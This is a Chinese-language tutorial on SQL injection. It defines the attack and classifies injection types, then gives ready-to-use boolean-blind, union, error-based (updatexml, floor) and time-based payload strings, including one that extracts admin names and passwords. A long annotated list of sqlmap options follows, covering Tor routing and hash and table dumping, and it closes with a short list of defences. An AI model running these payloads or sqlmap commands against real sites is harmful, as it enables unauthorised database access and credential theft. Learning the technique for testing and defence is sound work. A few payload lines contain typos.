目录
SQL注入简介
SQL注入分类
1、参数类型分类
2、数据提交方式分类
3、注入手法分类
漏洞工具:sqlmap
sqlmap命令
防御
定义:SQL注入是将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令。如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库,就可能导致拼接的SQL被执行,获取对数据库的信息以及提权,发生SQL注入攻击。
原理:将用户的输入插入到SQL语句中,用户的输入被当做代码执行
(1)数字型注入:
类似结构 http://xxx.com/users.php?id=1 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字。
select * from 表名 where id=1 and 1=1
(2)字符型注入:
类似结构 http://xxx.com/users.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。
select * from 表名 where name='admin' and 1=1 '
两者最大的区别:字符型注入一般要使用单引号进行闭合,而数字型注入则不需要;
(1)GET 注入
提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1 , id 是注入点。
(2)POST 注入
使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。
(3)Cookie 注入
HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。
(4)HTTP 头部注入
注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。
基于布尔的盲注
布尔型盲注步骤和语句
1.判断当前数据库名长度与数据库名称 and select length(database())>n //判断数据库名长度 and ascii(substr(database(),m,1))>n //截取数据库名第m个字符并转换成ascii码 判断具体值
2.判断数据库的表长度与表名
and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))>n //判断第一行表名的长度
and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),m,1))>n //截取第一行表名的第m个字符串转换为ascii值判断具体为多少
3.判断数据库的字段名长度与字段名称
and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>n //判断表名中字段名的长度
adn ascii((substr(select column_name from information_schema.columns where table_name='users' limit 0,1),m,1))>n //截取表中字段的第m字符串转换为ascii值,判断具体值
4.判断字段的内容长度与内容字符串 and length((select user from users limit 0,1)) >1 //判断字符串内容长度
and ascii(substr((select user from users limit 0,1),m,1)) //截取第m个字符串转换为ascii值
时间盲注
基于时间的SQL盲注入方式通常是在SQL语句中添加延时函数,依据相应时间来判断是否存在SQL注入,常用的延时函数或指令有sleep、repeat等。
联合查询注入
1.判断是否存在注入点
and 1=1 --+
and 1=2 --+
2.判断所在的数据库有几列
'order by 1 #
3.判断他显示的内容在数据库的第几列
union select 1 #
4.查找当前用户权限
union select user() #
5.查找当前数据库
union select database() #
6.查找数据库的表名
union select (select table_name from information_schema.tables where table_schema='grade' limit 0,1) #
7.查询数据库中表下的字段
union select (select group_concat(column_name) from information_schema.columns where table_schema='grade' and table_name='admins')#
8.查询数据库下字段中的内容。
union select (select group_concat(id ,0x3a,name,0x3a,pass) from grade.admins)#
报错注入
只要注入点有sql报错信息,那么就可以使用报错注入;
还是一样,引号报错,然后找到闭合规则,页面正常显示,则可以在闭合规则中开始写入报错注入的sql语句;
updatexml报错获取当前数据库:
and updatexml(1,concat(0x7e,(select database()),0x7e),1)
floor报错获取当前数据库:
and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a)
两种方式都可行,如果第一个不行就试试第二个
接着可以利用select语句替换掉上面database()来继续获取数据库中的表名、字段名,查询语句和union注入攻击的语句相同;
只不过这里不能再使用group_concat了,因为报错注入只显示一条结果,所以需要使用limit语句;
它支持五种注入模式
1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。 2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。 3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。 4、联合查询注入,可以使用union的情况下的注入。 5、堆查询注入,可以同时执行多条语句的执行时的注入.
options
--version
:显示当前sqlmap的版本号
-h
:显示帮助信息
-hh
:显示详细的帮助信息
-v VERBOSE
:详细级别,VERBOSE为数字,默认为1
Target
-d DIRECT
:直接连接到数据库
-u URL
或--url=URL
:目标地址(URL)
-l LOGFILE
:从Burp或WebScarab代理的日志中解析目标
-x SITEMAPURL
:从一个XML文件中解析目标
-m BULKFILE
:扫描文本文件中的多个目标
-r REQUESTFILE
:从文件中导入HTTP请求(通常用于检查POST请求中的SQL注入)
-g GOOGLEDORK
:处理Google Dork的结果作为目标URL
-c CONFIGFILE
:从ini文件中加载选项
Request
--method=MEHOTD
:强制指定HTTP方法(如PUT)
--data=DATA
:指定POST请求的参数
--param-del=PARAMDEL
:指定参数的分隔符(如:&
)
--cookie=COOKIE
:指定HTTP请求的Cookie
--cookie-del=COOKIEDEL
:指定Cookie的分隔符(如:分号;
)
--load-cookies=LOADCOOKIES
:指定以Netscape或wget且包含cookie的文件
--drop-set-cookie
:忽略返回包中的Set-Cookie
字段
--user-agent
:指定HTTP头部的user-agent值
--random-agent
:设置随机的HTTP User-Agent
--host=HOST
:指定HTTP头部的host值
--referer=REFERER
:指定HTTP头部中的referer值
-H=HEADER
:指定HTTP其他头部信息
--headers=HEADERS
:指定HTTP其他头部信息
--auth-type=AUTHTYPE
:指定HTTP的认证类型(Basic,Digest,NTLM,PKI)
--auth-cred=AUTHCRED
:指定HTTP认证凭证(name:password)
--auth-file=AUTHFILE
:指定HTTP认证PEM认证/私钥文件
--ignore-code=IGNORECODE
:忽略指定的HTTP错误码(如:401)
--ignore-proxy
:忽略系统默认代理
--ignore-redirects
:忽略重定向尝试
--ignore-timeouts
:忽略连接超时
--proxy=PROXY
:指定代理地址
--proxy-cred=PROXYCRED
:指定代理认证凭据(name:password)
--proxy-file=PROXYFILE
:从指定文件中加载代理数据
--tor
:使用tor匿名网络(通常需要提高默认的响应时长,且需要指定Tor的代理地址)
--tor-port=TORPORT
:设置TOR代理的端口(修改默认端口)
--tor-type=TORTYPE
:设置TOR代理的类型(HTTP,SOCKS4,SOCKS5默认)
--check-tor
:检查tor能否正常使用
--delay=DELAY
:设置每个HTTP请求的间隔时间(单位:秒)
--timeout=TIMEOUT
:设置超时连接前等待的时间(单位:秒)
--retries=RETRIES
:设置连接超时重新尝试的次数(默认为3)
--randomize=RPARAM
:随机更改给定参数的值
--safe-url=SAFEURL
:指定在测试期间频繁访问的URL
--safe-post=SAFEPOST
:POST数据发送到安全URL
--safe-req=SAFEREQ
:从文件中加载HTTP请求
--safe-freq=SAFEFREQ
:在两次访问安全网址之间的测试请求
--skip-urlencode
:跳过经过URL编码的payload数据
--csrf-token=CSRFTOKEN
:指定CSRF-TOKEN值
--csrf-url=CSRFURL
:指定提取CSRF-TOKEN的URL值
--force-ssl
:强制使用SSL协议
--hpp
:使用HTTP参数pollution的方法
--eval
:评估请求之前提供Python代码
Optimization
-o
:开启所有优化开关
--predict-output
:预测常见的查询输出
--keep-alive
:使用持久的HTTP(S)连接
--null-connection
:从没有实际的HTTP响应体中检索页面长度
--threads=THREADS
:设置请求的并发数
Injection
-p TESTPARAMETER
:指定需要测试的参数
--skip=SKIP
:跳过指定参数的测试
--skip-static
:跳过非动态参数的测试
--param-exclude=PARAMEXCLUDE
:使用正则排除要测试的参数
--dbms=DBMS
:强制指定数据库管理系统的类型
--dbms-cred=DBMSCRED
:指定DBMS认证凭证(name:password)
--os=OS
:指定后端DBMS的操作系统
--invalid-logical
:使用大数字使值无效
--invalid-string
:使用随机字符串使值无效
no-cast
:关闭有效载荷
--no-escape
:关闭字符串转义机制
--prefix=PREFIX
:注入payload字符串前缀
--suffix=SUFFIX
:注入payload字符串后缀
--tamper=TAMPER
:使用给定脚本篡改注入数据
Detection
--level=LEVEL
:指定执行检测的等级(1-5,默认为1)
--risk=RISK
:指定执行检测的风险(1-5,默认为1)
--string=STRING
:查询有效时在页面匹配字符串
--not-string=NOTSTRING
:查询无效时在页面匹配字符串
--regexp=REGEXP
:查询有效时在页面匹配正则表达式
--code=CODE
:查询有效时匹配的HTTP返回码
--text-only
:基于文本内容比较网页
--titles
:基于标题比较网页
Techniques
--technique=TECH
:指定SQL注入的技术(默认为BEUST)
--time-sec=TIMESEC
:DBMS响应的延迟时间
--union-cols=UCOLS
:指定UNION查询注入使用的列
--union-char=UCHAR
:指定暴力猜解列数的字符
--union-from=UFROM
:指定UNION查询注入的FROM部分使用的表
--dns-domain=DNSDOMAIN
:域名用于DNS漏出攻击
Enumeration
-a
或--all
:检索一切
-b,--banner
:检索数据库管理系统的标识
--current-user
:检索数据库管理系统的当前用户名
--current-db
:检索DBMS的当前数据库名称
--hostname
:检索数据库服务器的主机名
--is-dba
:检测DBMS当前用户是否为DBA
--users
:枚举DBMS的用户名
--passwords
:枚举DBMS用户密码哈希
--privileges
:枚举DBMS用户的权限
--roles
:枚举DBMS用户的角色
--dbs
:枚举DBMS所有的数据库名称
--tables
:枚举DBMS数据库中所有的表
--columns
:枚举DBMS数据库表中所有的列名
--schema
:枚举数据库架构
--count
:检索表的记录数
--dump
:转储DBMS的数据库中的表项
--dump-all
:转储DBMS的数据库中的所有表项
--search
:搜索列、表、数据库名称
--commnets
:检索数据库的comments
-D DB
:指定要枚举的数据库名称
-T TBL
:指定要枚举的数据表名称
-C COL
:指定要枚举的数据库列名
-X EXCLUDECOL
:指定不要枚举的数据库列名
-U USER
:指定要进行枚举的数据库用户名
--exclude-sysdbs
:枚举表时排除系统数据库
--where=DUMPWHERE
:使用WHERE条件表转储
--start=LIMITSTART
:第一个查询输出进入检索
--stop=LIMITSTOP
:最后查询的输出进入检索
--first=FIRSTCHAR
:第一个查询输出字的字符检索
--last=LASTCHAR
:最后查询的输出字字符检索
--sql-query=QUERY
:要执行的SQL语句
--sql-file=SQLFILE
:从给定文件中执行SQL语句
它支持的数据库
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase,SAP MaxDB
使用参数化筛选语句
采用sql语句预编译和绑定变量
通过正则表达校验用户输入
检查数据类型
使用安全函数